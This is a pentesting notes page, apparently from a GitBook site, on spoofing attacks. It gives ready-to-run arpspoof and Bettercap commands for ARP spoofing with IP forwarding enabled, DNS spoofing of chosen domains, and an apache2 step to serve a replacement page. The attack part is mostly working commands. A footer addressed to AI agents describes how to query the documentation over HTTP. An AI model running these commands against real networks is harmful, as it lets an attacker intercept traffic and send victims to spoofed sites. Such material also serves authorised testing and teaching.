> For the complete documentation index, see [llms.txt](https://hackzzz.gitbook.io/welcome/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hackzzz.gitbook.io/welcome/everything-about-and-notes/network-pentesting/spoofing.md).

# Spoofing

## Spoofing

* Spoofing is the act of disguising a communication or identity so that it appears to be associated with a trusted, authorized source. Spoofing attacks can take many forms, from the common email spoofing attacks that are deployed in phishing campaigns to caller ID spoofing attacks that are often used to commit fraud.

### ARP Spoofing

ARP Spoofing consist on sending gratuitous **ARP Responses** to indicate that the IP of a machine has the MAC of our device. Then, **the victim will change the ARP table** and will contact our machine every time it wants to contact the IP spoofed.

<pre class="language-bash"><code class="lang-bash"><strong># arpspoof
</strong><strong>echo 1 > /proc/sys/net/ipv4/ip_forward
</strong>arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1

# Bettercap
arp.spoof on
set arp.spoof.targets &#x3C;IP> #Specific targets to ARP spoof (default=&#x3C;entire subnet>)
set arp.spoof.whitelist #Specific targets to skip while spoofing
set arp.spoof.fullduplex true #If true, both the targets and the gateway will be attacked, otherwise only the target (default=false)
set arp.spoof.internal true #If true, local connections among computers of the network will be spoofed, otherwise only connections going to and coming from the Internet (default=false)
</code></pre>

### DNS Spoofing

```bash
# Bettercap
set arp.spoof.fullduplex true
set arp.spoof.targets <IP's>
set dns.spoof.address <local IP>
set dns.spoof.all true
set dns.spoof.domains *.spoofeddomain.com, *.anotherdomain.com
arp.spoof on
net.sniff on
dns.spoof on
```

* Now set your web page with apache2 or whatever you want.

```
service apache2 start
echo "Hello there :}" > /var/www/html/index.html
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hackzzz.gitbook.io/welcome/everything-about-and-notes/network-pentesting/spoofing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
